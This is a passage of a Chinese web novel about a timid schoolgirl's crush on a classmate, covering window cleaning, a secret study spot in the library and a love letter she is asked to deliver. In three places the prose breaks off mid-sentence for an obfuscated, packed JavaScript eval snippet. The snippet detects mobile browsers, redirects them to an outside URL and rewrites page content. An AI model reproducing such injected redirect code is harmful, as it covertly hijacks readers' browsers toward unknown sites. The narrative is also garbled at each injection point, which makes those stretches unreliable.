《潮湿雨》 3. 擦窗户 没想到这场雨持续到傍晚,到处都是湿漉漉的,一个不小心便会踩入泥坑,弄脏衣服和鞋子。 穿着一身湿漉漉的校服回到家中,姜莱先脱下外套,沉默地换了身干净的衣服,才坐到餐桌前慢慢吃着饭。 吃饭间,奶奶一边给她夹着菜,一边询问着学校里发生的事。姜莱从来都是报喜不报忧,挑着无伤大雅的小事说说,一般奶奶和爷爷也不会多问。 她照例说着无聊的学校往事时,平时默不作声的爷爷忽然发问:“我刚才回来遇到露露了,她说你们班有个女生欺负你?” 姜莱夹饭的手一顿,随后扬起一抹笑容:“不是欺负,只是拌了拌嘴而已……” “你和那个女生是怎么回事?”爷爷的态度比较强硬,和姜莱相处久了,太清楚她到底是什么样的个性,“她为什么要欺负你?” “她……”姜莱张张口,却不知道该说什么。 她记得,程苒苒将她视为仇敌的事好像得追溯到分班,她被程苒苒命令去带饭,她因为要给老师交作业,于是委婉地拒绝了帮助程苒苒带饭,之后她便被程苒苒针对上了。 在姜莱心里,程苒苒虽然总是对她恶语相向,但好在没有什么实质性的伤害,甚至有些时候还会主动找她搭话,比起她经历的那些事,简直是微乎其微。 一想到往事,姜莱忽然没有了吃饭的胃口,她放下手中的筷子,冲着二老深深地鞠了一躬,解释自己身体不舒服,转身回到卧室里。 在关上卧室门的一刹那,她看到奶奶正小声地责备着爷爷的刨根问底,爷爷低垂着头,似乎也在对刚才的发言有些懊悔,还悄悄往姜莱卧室的方向看了一眼,生怕让姜莱看到听到。 姜莱捕捉到他们的行为,沉默片刻,还是轻轻将门关上了。 刚坐在书桌旁,她的大脑开始莫名其妙地回放着今日发生的事,于是便顺理成章地想到周岷天,想到与程苒苒的争吵。 是啊,程苒苒说的有一定道理,她确实有过吸引周岷天注意力的想法,虽然没有实践,但她竟然会产生这种念头,真是不可饶恕。 姜莱默默地盯着洁白的墙壁,缓缓抬起手,贴在自己脸边,神情麻木。犹豫许久,她才放下手臂,从抽屉里掏出日记本,闭上双眼,深吸一口气,抬起笔,却不知道该写什么好。 她竭尽全力不想回忆起往事,平时爷爷奶奶也会十分注意,避开这些敏感的话题。他们一直强忍着内心的情绪,也一定很痛苦吧。 昏黄的灯光下,少女挺直瘦弱的腰板,抿着唇,笔尖在纸上飞快落下,字迹却不显她平日里的柔弱,苍劲有力,仿佛一撇一捺间,都透露出少女无形的倔强。 一字一句,无不诉说着她的委屈,控诉着她的怯懦。 写到关于周岷天的内容时,姜莱的笔尖一顿,想了许久,最终才轻轻落笔,在所剩无几的页面上留下几个字—— 他很好。 - 待爷爷奶奶吃完饭,自己写完日记,又做了几篇练习题,姜莱才走出房间,静悄悄地走入厨房,动作轻轻地将碗筷清洗干净。 爷爷奶奶年纪大了,睡眠不好,好不容易见他们已经进入梦乡,姜莱便立刻加快动作,一边害怕吵醒他们,一边又责怪自己为什么要写那么长时间的日记,影响到爷爷奶奶的休息。 最后一个瓷碗放入橱柜,姜莱蹑手蹑脚地回到房间,微微打开一点门缝,确定没吵到二老的睡眠,她才舒了口气,简单地在卧室洗脸盆处收拾一番,静静悄悄地躺在床上。 屋外的大雨不知什么时候停了下来,姜莱侧头看向漆黑的窗外,乌云散去,独留一轮明月悬在枝头。她痴痴地望着明月,心思却飞向了远方。 现在的周岷天,是不是也在望着这轮明月? 这样的话,算不算他们在一起观赏的? 她躺在硬木板搭建的小床上,瘦小的身体躺在上面硌的生疼,但姜莱却仿佛习惯这种痛楚一般,用一只手撑着脑袋,眼里闪过一丝柔情,陷入美好的幻想之中。 忽然她像是想到什么,目光一滞,刚才编织的美好幻境故事截然而止。 今天,周岷天应该是认出她了吧? 那他也看到了那片叶子? 可他并没有质问自己,这是不是能说明,他没有讨厌她? 姜莱藏在被窝里,望着眼前的漆黑一片,她的嘴角不由自主地上扬几分,心间像是有一股暖流流过。 如果下次还能见面,她一定会向他解释清楚。 - 之后的一段时间里,姜莱的生活平静似水,没有了那几日的激动与兴奋,没有了想要日日夜夜看到周岷天的冲动。如今的她,只需要在接水时,打球时,食堂吃饭时遥遥地望上一眼,她便心满意足。 程苒苒依旧锲而不舍地喜欢着周岷天,时不时跑到篮球场上给他送一瓶水,也不管周岷天到底收没收,她总要跑回来跟姜莱挑挑眉,当着全班众人的面得意洋洋:“看到了吧,周岷天还是喜欢我。” 这时候姜莱只会默不作声,低下头装作一副毫不在意的样子继续写作业。 没达到程苒苒想要的效果,她撇撇嘴,不死心地走到姜莱身边,挑衅道:“姜莱,你不羡慕我啊?” 班里几个男生打趣着开玩笑:“姜莱就一个小透明,程苒苒,你现在怎么还会跟她吃醋较真?” 姜莱死死盯着眼前的题目,抿紧嘴唇,一声不吭。 程苒苒目不转睛地瞪着姜莱,看到她连一个标点符号都冒不出来,叹了口气,觉得自己自讨没趣,冷笑一声扭头就找她那些小姐妹分享心情去了。 见程苒苒走后,姜莱紧绷的神经才松懈下来。她缓缓直起腰来,左顾右盼一番,没找到白露的身影。 应该是回家了吧。 姜莱抱起书本,看了眼时间,中午十二点,刚才还有说有笑的程苒苒一看时间不早了,立刻拿起书包,被那群小姐妹们簇拥出门。 “都中午了,苒苒,你中午吃什么啊?” “回家看看我爸妈做的什么就吃什么呗。” 她们的声音渐渐消失在走廊尽头,姜莱站在原地,目送着她们走出校园。 真羡慕啊,羡慕程苒苒有这么多朋友,还有敢于追求喜欢的人的勇气,还有…… 她深吸一口气,刚要走出教室,身后忽然传出动静:“姜莱。” 姜莱迅速回过身,错愕地看向班中说话的男生。这个男生是他们班的班长,现在班里人已经走得所剩无几,只剩下他们二人,姜莱想不通他为什么会忽然叫住自己。 “有事吗?”姜莱的声音依然不大。 “你中午是不是不回家?”班长指了指中间那面巨大的玻璃,“你要是不回家,就把窗户擦一下呗。这两天老是刮风下雨,窗户太脏了,老师都看不下去了。” 姜莱垂下眼眸,刚下定决心想要说些什么,张开口,班长却已经走到她身边,微笑地给她竖了个大拇指:“麻烦你了姜莱,班里就需要你这种甘愿无私奉献的人。你放心,我会告诉老师是你主动承担的,这样的话这学期的奖学金非你莫属。” 一想到奖学金,姜莱只好接受了这项任务,放下手里的书本,任劳任怨地接水浸湿抹布,认真擦拭玻璃。 这面玻璃是三面窗户里最大的,擦起来十分费劲,必须搬着凳子才能勉强够到顶端。姜莱惆怅地抬头注视着面前的玻璃,叹了口气,擦完低端,搬来自己的凳子踩在上面。 他们班教室位于三楼,高度不算高,擦拭外面的玻璃也没有太大的难度。但当姜莱站在椅子上直直向下看,大脑还是传来眩晕的信号。 她这是有恐高症? 姜莱摇摇头,试图让自己克服这股难受的眩晕感。她试着伸手够窗外的玻璃,范围有限,擦出来黑一块灰一块的,很难看。她叹了口气,只好先下来把凳子再往前推一推,贴着墙边站直,刚伸出手贴住玻璃,身后倏然传出一身惊呼! 姜莱还没反应过来,垂在身侧的手臂猛地被人一把拉住,硬生生将她从凳子上拽下来,一个没站稳,她重重摔倒在地,痛得她倒吸一口凉气! “你疯了?你在做什么?!” 耳畔响起一道有些愤怒的男声。 姜莱苍白着脸抬起头,微微皱起眉头,刚想说什么,却在看清眼前之人的脸后被堵了回去。她不敢置信地盯着眼前仿佛从天而降的人,是周岷天,他的脸颊上染着一丝红,脸上挂汗,身上的校服也没来得及穿好,看样子像是刚打球回来,满眼都是担忧与不解。 她疯了? 她是疯了,甚至都出现幻觉了。 周岷天的手依然紧握着她的手腕,姜莱默默将视线下移,表情略带尴尬地看向手腕处。 应该不是幻觉,有真实的触感。 他的手心很暖,手指很好看,手劲也挺大。 周岷天注意到姜莱尴尬的目光,不好意思地快速收回手,又觉得有些不妥,连忙从口袋里掏出一张崭新的洁白纸巾垫在手上,重新向姜莱伸出手:“扶着我起来吧。” 姜莱压下心里的欣喜与疑惑,冲着他有礼貌地笑了笑,随即快速低下头,自己爬起来拍了拍身后的灰尘:“谢谢你的好意,我自己能起来。” 周岷天也没追究,只是微微蹙起眉头看向姜莱,指着一旁的凳子:“你刚才在干什么?站在那里多危险,千万别想不开,以后还有更美好的人生……” 说着说着,他注意到姜莱的表情由困惑转向微笑,微微蹙起的眉宇渐渐舒展开来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342419|199410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至开始捂上嘴哈哈大笑。 “你笑什么?”周岷天有些无奈地看着眼前这个瘦小的女生笑得眼泪都溢出眼眶,他不明白自己这些话有什么可笑的。 姜莱放下手,用纸巾轻轻擦去眼角的泪水,笑眼弯弯地看向周岷天:“我是在擦窗户,不是要轻生。” 说罢,她又连忙补上一句:“谢谢你。” 听到她的解释,又看到窗台上的抹布与水桶,周岷天这才恍然大悟。 刚才他路过,无意间瞥向二班敞开的后门,一眼就看到一个穿着校服的女生站在窗户边上,踩着凳子,穿着被窗外的风吹鼓的宽大校服褂,感觉整个人摇摇欲坠,仿佛下一秒就要一跃而下,吓得他立刻丢下手中的球,赶忙拉她下来。 没想到竟然是一场乌龙。 周岷天舒了口气,恢复往日里的神情,眼尾微微上扬,挠了挠后脑勺:“不好意思啊,刚才没看清,向你道歉。”他走到姜莱身边,指尖随意卷起抹布边,举起手臂替姜莱擦拭着够不到的地方,“不过你们班老师也真是丧心病狂,让你一个人擦这么高的窗户,一点都不顾你的安危。” 姜莱看着他的动作,微微一愣,心脏在下一秒跳得极快。 阳光里,他的侧颜线条利落,如同勾勒出一副独一无二的画像。 这是姜莱第一次近距离接触周岷天,他似乎还在纠结刚才自己的冒昧,咬了咬下唇憋笑,手上的动作却没有停下来,手腕转着圈擦,擦完的玻璃崭新如初。 这一幕,似乎只有在她幻想的场景里才会出现。 姜莱调整好自己的状态,用冰凉的手轻轻拍拍发红的脸颊,走到他的身边,拿起剩下的半块抹布,仔仔细细地擦着下面的玻璃,轻声道:“真的很谢谢你。” 周岷天微微垂下头,无意见瞥到姜莱略带泛红的耳尖,视线稍移,没有盯着看,保持礼貌的距离:“举手之劳,就当……你给我拿卷子的补偿。” 拿卷子!他还记得自己! 喜悦与惊恐一起涌入大脑,姜莱手里的动作顿时僵住,心里一片混乱,不知道要不要主动向他提起树叶的事。 她张张嘴,刚想说些什么,一旁的周岷天忽然把自己的抹布递到姜莱面前:“这块干了,你用着擦下面吧,这样擦得快。” 姜莱接过,依然默不作声。 看他的反应,应该没有看到那片树叶吧。这样最好了,他不会对她带有有色眼镜,更不会对她有别的看法。 姜莱舒了口气,将他们手中的抹布调换,那块周岷天刚用过的抹布,上面还残存着一丝丝温暖。 她握着抹布的手不由自主地攥紧几分。 “不过,那片塑封树叶是你不小心夹在我试卷里的吧。” 此话一出,姜莱只觉得自己像是被五雷轰顶一般绝望,一时间竟然不知道该说些什么好,只能装傻:“哈哈哈。” 周岷天一边擦一边说:“你笑什么,那片叶子很好看,我把它一直放教室里,本来想找机会给你,就是最近班里组织的考试太多,一直没找到合适的时间,等会给你拿过来啊。” “啊不不不,不用了。”姜莱连忙摆手,微微垂下头,不让周岷天看到她脸上的红晕,“送给你,就当是你帮我擦玻璃的报酬。” 一个女生,莫名其妙地给一个男生送东西,会不会很奇怪啊。 不知道为什么,姜莱忽然想到程苒苒。她总是给周岷天送东西,那周岷天会不会收?会不会笑眯眯地对她道谢? “送给我?”周岷天似乎没想到姜莱会送给他,表情有一瞬间的停滞,随后看到少女窘迫的表情,以及紧张地攥着衣服裤腿的小动作,他微微歪头,认真地笑着。 “那就谢谢你了。”他抬手揉了揉自己的头发,发梢被阳光染上一层金棕色的光,“擦完了,你这会可以休息了吧。” 姜莱抿着唇抬起头,看着面前整洁的玻璃,又悄悄看向一旁同样抬头审视自己功劳的周岷天,他似乎很满意,甚至还连连点头。 好希望,这一刻可以久一些。 她注意到周岷天有转过头的倾向,赶忙收回视线,眼神飘忽,有些慌乱。姜莱不知道周岷天有没有注意到自己的反应,她只是听到周岷天拿起一旁的书包,冲着她道:“时间不早了,我也得回去了。” “好,注意安全。”姜莱听到自己这样说。 少年冲着她挥挥手,缓步走出教室,来到走廊里抱起篮球,头也不回地走出教学楼,只留下一抹挺直的背影。 姜莱的目光始终跟随他的身影,直到彻底消失不见,她才慢慢地抬起胳膊,注视着电子表上的时间,留恋地记下相处的时长。 十一分三十二秒。 如果可以保留那一刻的时间,该多好。 4. 图书馆 当天下午,班长走进教室看着干净的玻璃,对姜莱赞不绝口。姜莱有些不好意思去邀功,毕竟还有周岷天的帮助,于是她只能笑笑,默不作声。 原本计划的中午去图书馆复习,只可惜被擦窗户打断了。但也因此遇到周岷天,还和他相处了十分钟,姜莱觉得还是收获更多,一下午的学习也不觉得疲惫枯燥,下课后便开始做练习题,一口气学到晚上九点的课间,她才终于停下笔。 这种状态一连坚持了一周,对于姜莱而言,或许学习可以让她暂且屏蔽生活里的烦恼,让她可以淡忘周岷天,让她可以对得起爷爷奶奶的养育之恩,让她过得可以心安理得一些。 星期天,姜莱在家里简单地整理了最近几天的日记,写到周岷天,她笔锋一转,缓缓在日记本上写下“明天同学”四个字。 ——明天同学聪慧过人,甚至不需要刻苦学习就能拿得第一名,好优秀。就是有人说他性格不好,可是我没有感觉到。 姜莱盯着日记本发呆,又补充了一句。 ——其他的不论,如果我也能向他一样优秀,就好了。 她合上日记本,想到前几天班里不少同学议论的八卦。 那天午后,姜莱趴在桌子上做题,本来她对这些八卦趣事不感兴趣,但却意外听到周岷天的名字,当时的她便不由自主地竖起耳朵,笔尖一顿。 “欸,你们听说了吗?周岷天在这次数学竞赛上又拿到第一名了!” “真的假的?他每天在篮球场上打篮球,上课也从来不听,天天睡觉,但是成绩却那么好,这不是人,是神啊!” 这一点姜莱很早之前就知道了,从她对周岷天抱有一丝丝异样的情愫开始,她便听过周岷天上课不听讲就能取得高分的事迹,当时的她就羡慕不已,并励志追上他的脚步。 随即他们议论的态度发生转变,一个男生不屑道:“你们真是可笑,世上哪有什么天才,肯定是回去偷偷学习了。” “我猜也是,”一个女生看不惯那些总是犯花痴的女生,不满道,“你们有没有见过他爸?太吓人了,就那控制欲,一个人想不变得优秀都难。” 姜莱屏息凝神,表情微微一愣。 没想到周岷天看起来那么阳光开朗,竟然有一个令人窒息的父亲。 不知道为什么,姜莱忽然失去了听下去的兴趣。她站起身,走出教室的刹那间,她又恰巧听到他们的议论声。 “欸,你们知道吗?程苒苒最近没来上课,听说就是因为锲而不舍地跑到周岷天家附近的图书馆想偶遇他,结果没想到没遇到本人,反而遇到了他爸。他爸一眼就看出程苒苒是那个总是骚扰周岷天的女生,劈头盖脸地把她骂哭了,气得她最近才没来上课。” 她的脚步一顿。 “话说那周岷天到底有没有收程苒苒的东西,如果收了还这样对待程苒苒,那岂不是太过分了?!” 程苒苒的小跟班嘲笑道:“当然没收了,周岷天看着就一副不好相处的模样,怎么会收啊。除了在主席台上看到他笑一笑,平时完全就是个冰山脸,好像谁欠他几百万似的。尤其是一提到学习,他那桀骜不驯的眼神看咱们就像看蝼蚁,真讨厌!” “可咱们学习成绩也不差啊!”有人反驳。 一个男生忍不住自嘲地耸耸肩:“那也比不过人家啊。” 小跟班看了男生一眼,有些不满地补充道:“还有啊,他每次看到程苒苒,就跟看到空气没啥两样,也就是程苒苒锲而不舍地去追他。再说你们动脑子想想啊,人家家里那么有钱,找的对象肯定是同样优秀的人,咱们这些人哪有资格啊。” 紧接着,在场众人发出一阵哈哈大笑,都在嘲笑程苒苒的愚蠢。 姜莱默默站在原地,放在袖子里的手渐渐攥紧。 她的心里很不舒服,也不知道是知道她与周岷天的现实差距而难过,还是因为他们毫不留情地嘲笑程苒苒而愤愤不平 虽然程苒苒一直对她阴阳怪气,但她并不讨厌程苒苒,更不希望成为他们议论的笑柄。只是她胆子不大,没有勇气,没法替程苒苒出头,能做到的,就只有遣散人群。 她转过身,深吸一口气,声音不大,却足够让在场众人听到:“别说了,马上上课了,我看到老师来了。” 姜莱一直在班里都是小透明的存在,从来不会主动说话,这一次却忽然张口提醒,其他人瞬间相信了,连忙回到各自的座位上,装模作样地开始学习,仿佛刚才的场景只是幻觉。 心脏怦怦直跳,姜莱竭力装作一副面不改色的模样走回教室,直到坐下来依然紧张不已,只能祈祷老师快点进来。 好在一分钟后,科任老师抱着一套卷子走入教室,宣布要占用课间部分时间来考试,姜莱才松了口气,整个人趴在桌子上,有一种劫后余生的感觉。 这场闹剧现如今姜莱回想起来依然有些莫名的紧张,不过已经过去了,她也不再纠结。简单地收拾了书桌,她走出房间,抱着一个帆布包对厨房里忙碌的奶奶打招呼:“奶奶,我出去一趟,去图书馆,七点之前回来。” “七点?”奶奶有些错愕,“你们今天没有夜自习啊?” “这周要月考,学校给放半天假。”姜莱解释完,听到奶奶的准许后,她拉开房门,骑着生锈的自行车前往学校图书馆。 说实话,她也萌生过去周岷天家附近的图书馆碰碰运气,看看能不能遇到他。可是她一不知道周岷天家住哪里,二又害怕遇到周父。百般犹豫后,她才无可奈何地决定去学校图书馆,那里免费不说,人也少,还能安安静静地看一会书。 她把帆布包挂在车把一侧,骑出小区。看着路边的车辆,人来人往的街道,姜莱只觉得内心格外平静,甚至有了坐在这里发呆一下午的冲动。 夏末的风总是带着一丝丝秋天的凉气,不少人已经披上了一件薄薄的单衣。天空依然是淡淡的蓝色,空气弥漫着前不久雨后的清新,时间仿佛在这一刻慢了下来。 不多时,姜莱抵达学校门口。她停好自行车,走到小卖铺买了瓶水,提着帆布包和门卫打了声招呼。门卫看到她,笑眯眯道:“星期六日还来学校啊?” 姜莱也礼貌地回以微笑:“来图书馆看会儿书。” 告别门卫,她脚步轻快地穿过熟悉的走廊,刺眼的阳光晃过眼睛,她微微伸手,挡在眼前。 此时此刻,她觉得自己的内心无比平静,甚至很喜欢一个人独自走在校园中,沐浴着阳光,耳边是动听的鸟鸣声,仿佛在这一刻,就连空气都是甜的。 周六日的图书馆里没什么人,到处都是空位,静悄悄的,只有为数不多的几个一班学生组团坐在一起,似乎是在奋笔疾书做着习题。 姜莱的目光下意识在人群里寻找周岷天的身影,不出所料,果然没有。她默默叹了口气,这样也对,很符合同学们口中那个不好相处的人设。 她环顾四周,最终还是决定坐到靠近窗户的角落里,那里没有人,只有一个墨绿色厚重吊帘,里面似乎堆放着一些不用的器材桌子,有一些灰尘,甚至有时会有些阴森森的,一般人不会选择坐在这附近。 姜莱默默地放下帆布包,从包中掏出习题册,掏出笔袋整整齐齐地摆桌面上,从中掏出一支笔来,轻轻翻开书本,静静写起习题来。 做题时,窗外阳光明媚,燥热的风透过薄薄的纱窗,轻轻卷起姜莱的发梢,吹动放在桌面上的书本,书页哗哗作响,将放在上面的橡皮吹落在地。 光线开始转移,视野渐渐变黑,不多时,头顶的照明灯亮起,汇聚到姜莱的头顶,在书本上照射出一片阴影。 写了许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342420|199410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忽然觉得嗓子痒,姜莱放下手中的笔,喝了口水,抬起头才发现那几个一班学生已经离开了,目之所及的地方里只剩下她一个人。 她看了眼电子表,刚刚六点,扭头看向窗外。窗外的天空染上了些许紫色,天边泛着丝丝太阳的光,是晚霞。 姜莱放下水瓶,伸了个懒腰,发现习题册上的辅助线画错了,在笔袋里翻找了半天,却依然不见橡皮的踪影。 “我记得我带上橡皮了……”姜莱喃喃自语,弯腰在地上一阵摸索,忽然看到墨绿色帘子后面有一块像极了橡皮的东西,是白色的。 她的眼里闪过一丝欣喜,站起身走到幕布前,轻轻掀起帘子。 帘子后面摆放着一张崭新的桌子,上面堆放着一些书本,中间的试卷上放着几只未盖笔帽的碳素笔。姜莱迟疑地捡起橡皮,蹑手蹑脚地走到桌子旁,微微眯起双眼。 这个字迹,好眼熟。 她好像在哪里见过。 姜莱正侧着脑袋绞尽脑汁地回想着自己到底在哪里见过这个字体时,身后忽然传来沉重的关门声。她猛地回过头,警惕地看向声音来源。 对方也像是没想到这里会有人出现,神色紧张,眉宇紧皱:“谁?” 直到二人看清对方是谁,一时间竟纷纷愣在原地。 姜莱的眼睛瞬间瞪大,似乎是没想到周岷天会出现在这里。 周岷天也是同样的反应,只不过松了口气,神情恢复正常。他走到姜莱身边,似乎有些无奈:“你怎么会在这里?” 姜莱如实回答,将手中的橡皮放在桌子上:“我橡皮掉进来了,我来捡橡皮。” 周岷天点点头,随后小心翼翼地走到帘子前,掀起一点小角探头看向外面。确定没人,他放下手中的帘子,转身看向姜莱,语气里带着几分威胁:“我在这里的事不许说出去。” 姜莱懵懵地点头,想了半天最终却憋了一句:“你也来学习啊。” “对啊,不然来这里干嘛。”周岷天一手撑着桌子,一手插在衣兜里,说得漫不经心。 姜莱抿着嘴唇,又问:“那你为什么要藏起来?” 周围气氛瞬间变得凝固,安静得甚至连彼此的呼吸声都能听到。 姜莱纠结地攥紧衣角,懊恼自己怎么会问出这个敏感的问题。班里有些同学那样嘲讽他,想必他也对这些谣言深恶痛绝…… “因为不想让其他人看到我在努力,不想打破我在其他人眼中的天才形象。”周岷天靠在桌子上,随手拿起桌子上的水杯,大大喝了一口,没什么多余的情绪。他放下水杯,扭头看向姜莱,“你应该也听过我吧。” “听过。”姜莱有些窘迫地站在原地。 周岷天回过头,盯着面前的墨绿色帘子,眼神里流露出一丝不易察觉的情绪。 “人人都说我是天才,可我只是个普通人,没有天资聪慧的大脑,没法成为真正的天才,只能像阴沟里的老鼠一样,每天躲在这个地方来伪装自己的身份。”周岷天自嘲地扬扬嘴角,“我很想摆脱这个名号,我也不想成为一个不需要学习,每天只需要睡觉,打篮球,无所事事就能取得第一名的人,可是……” 姜莱屏息凝神,静静等待着周岷天的下文。 “明明我已经将这件事做到极致,却还是身不由己。”周岷天自顾自地嗤笑一声,轻声叹了口气,转身面对姜莱,明明没有任何表情,在姜莱眼中,却又带着丝丝惆怅。 他顿了顿,指尖摩挲着窗帘边缘,声音沉闷:“他们只认准天才的称号,如果一旦考砸,他们就会说周岷天也不过如此,可是根本没人在意我,究竟想不想成为这个天才。” 周岷天抬起眼,看向姜莱的眼里闪过一丝丝茫然:“你有没有过经历过明明拼尽全力,却还是无法达到别人的标准的生活?” 6. 季秋白 考试铃声按时响起,耳畔是唰唰的落笔声和翻卷声。姜莱坐在靠近窗户那一侧,攥着手中的碳素笔,心里五味杂陈。 她按部就班地答着试卷,表情麻木,如同机械做题,直到写完作文放下笔,她才发现自己的手在抖。 姜莱抬头看时间,还剩十几分钟。趁着看表的瞬间,她瞥了眼坐在门口的周岷天,他也停了笔,正聚精会神地检查着试卷题目,眉眼严肃认真。 不愧是全能学霸,语文的答题速度也很快。 她收回目光,神情复杂,下意识抿起唇。 也许自己在他的心里,也不过就是一个恰巧遇到的同学吧,一切都是自己在自作多情,在凭空幻想着他们的故事。他那么厉害,家境也好,他们二人的差距是天壤之别,是她难以到达的彼岸。 放下吗? 可是,这是她第一次对异性产生好感,他也是第一个会主动帮助自己,愿意将他的秘密讲给她听的人。 姜莱叹了口气,她放不下,也不忍心放下。 考完今日的最后一门的数学,姜莱走出考场,没找到白露的身影,猜测应该是先走了吧。她们两家虽然在一条街上,但最近白露每天上下学都是父母来接,只能早早与姜莱道别坐车回家。 夏日的晚霞染上了天空中的浅蓝,渐渐描绘出雪青的云彩,淡色的月牙弯弯,交织着清风,映现了落日余晖。 站在学校的台阶上,望向落日,姜莱忽然觉得特别疲惫。 手痛,眼睛痛,大脑痛,心也痛。 她是不是要得心脏病了? 天天心痛难耐,有时候甚至痛得连气也喘不上来,全身麻痹,头晕眼花,整个人如同痉挛一般蜷缩在角落里,一动不动。 姜莱对自己没来由的念头逗笑了。她走下楼梯,自嘲地扬扬嘴角。 心脏病应该不是这种反应吧。 她走到自行车车棚前,盯着自己破破烂烂,掉漆生锈的老式自行车,又看到其他人骑着电动车从她身边疾驰而过,看着其他人有最爱他们的父母车接车送,姜莱已经说不清自己究竟是什么样的情绪了。 从小到大,她一直努力做一个乖巧懂事的女孩,不去惹事,不去索取,每天只是坐在家中看书学习,来减轻爷爷奶奶的负担。 可她也是人,也有欲望。 这些事物,她不说,不代表她不渴望,不想拥有。 人群已经散得差不多,车棚里也没有其他学生,四周安静得连一根针掉落在地都能听得一清二楚。 姜莱呆愣在原地,像是忽然发现自己正在思考什么一般,她瞬间睁大发红的双眼,高举起颤抖的手,毫不留情地扇了自己一耳光。 清脆的声音在空旷的车棚里回荡,姜莱麻木地转过身,透过墙上生锈的镜子,看着镜中少女脸颊一侧明显的红痕,是在提醒她,不要再有这些多余的想法。 现在的她,只需要顺顺利利地完成学业,然后…… 带着爷爷奶奶,逃离这里。 最终姜莱还是没有骑自行车回家,而是一个人走到公交车站,坐在长椅上等待着公交车的到来。 夏末的风总是带着一丝秋意的凉,天色渐暗,乌云密布,似乎是在孕育着夏季的最后一场大雨。 周围的人已经走的差不多了,原本平日里人满为患的公交车站此刻只剩姜莱一人。感受到一丝凉意,姜莱向下拽了拽校服衣袖,微微垂下头。 公交车很快停到她的面前,姜莱站起身,拿着帆布包走上车。车里人不多,零零散散的几个人,空座位还很多。姜莱习惯地走到后面,坐到一处一排都没人的窗户边上,然后盯着窗外的风景发呆。 她前脚刚上车,不多时,那场雨终于落下,雨滴爬满窗户,留下一道道细长的水痕。 公交车里十分安静,偶尔会传出一两道咳嗽声,随后又很快陷入寂静。姜莱透过车窗向外看,在雨珠的作用下,那些汽车尾灯,霓虹灯此刻都变成一圈圈五颜六色的光圈,街道两侧人来人往,晃得姜莱眼睛发酸。 不知道过了几站,公交站停在站牌前,车门打开,一群高中生蜂拥而至,原本空荡荡的车厢瞬间变得人满为患。看着熟悉的校服,姜莱错愕地抬起头,发现公交车才刚到十一中的西门。 这些学生里大多都是男生,额头渗汗,抱着篮球,嘴里还有些不满地骂道:“这雨下得怎么这么突然,本来好好的一场比赛,又泡汤了。” 人群很快向后方涌过来,姜莱下意识与其他人错开目光,看向窗外。那些学生有说有笑地找到位置,唯独她的身边座位,依旧无人坐下。 姜莱的身体紧绷着,僵硬地保持着看向窗外的姿势,忽然头顶上方传来一道声音:“同学,你身边有人吗?” 她回过头,看向声音的来源,是一个男生,长着熟悉的面容,可她又有些想不起来到底在哪里见过。姜莱微微一顿,轻轻摇摇头,随即继续转过身发呆。 男生笑了笑,在她的身边坐下,从包中掏出手机,打开聊天界面指尖飞快地在上面打着字。 一边打字,他一边冲着身后的兄弟们说:“岷天说了,他过几天要参加一场高三年级的数学竞赛,没时间和咱们玩。” 一个穿着篮球衣的男生撇撇嘴:“那你们组赢定了,岷天不在,就剩下我们几个根本赢不了你们。” 他旁边的人笑道:“试试呗,万一有奇迹发生呢?” 车厢后面,发出一阵男生的悦朗声。 姜莱尽可能地将身体缩到角落里,与这些男生保持一定的界限。 “欸同学,你是不是二班的?” 坐在她身边的男生忽然探出头来,冲着姜莱咧嘴笑:“看你有些眼熟,你是不是前段时间给周岷天送卷子的女生?” 姜莱表情一僵,望向男生的眉眼,俊朗清秀,也很好看,这时才想起这是她当时麻烦把周岷天的卷子放到桌子上的那个男生。她轻轻嗯了一声,看向男生:“有事吗?” “没事没事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342422|199410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男生依然笑眯眯的,“你认识白露吗?她也是二班的。” 听到白露的名字,姜莱下意识神经变得紧张些。她藏在帆布包下的手渐渐攥紧,微微蹙眉:“你要做什么?” “没什么,不过是喜欢人家而已。”坐在男生身后的人探出脑袋来,笑得贱兮兮的。男生听到后立刻转过身骂了他一句,警告他别乱说话,随后转过身面对姜莱,礼貌道:“我叫季秋白,想给白露一封信,你能不能替我转交一下。” “是不是伤害白露的信……” “不是不是,你别误会啊,我没有想伤害她。”季秋白连忙解释道,“我……我那兄弟说的没错,我的确喜欢白露,所以写了一封信,想给她……” 说着说着,他微微垂下头,眼神躲闪飘忽,耳朵两侧竟还泛起一丝红。 不知道为什么,姜莱透过他,忽然像是看到了自己。 原来她面对关于周岷天的事情时,也是这样的反应。 她抿抿唇,还是有些不放心:“白露认识你吗?你……会不会骚扰她啊……” 季秋白再三保证,绝对不会骚扰或者伤害姜莱后,姜莱才同意帮他送信,并约定好在考完试当天送。 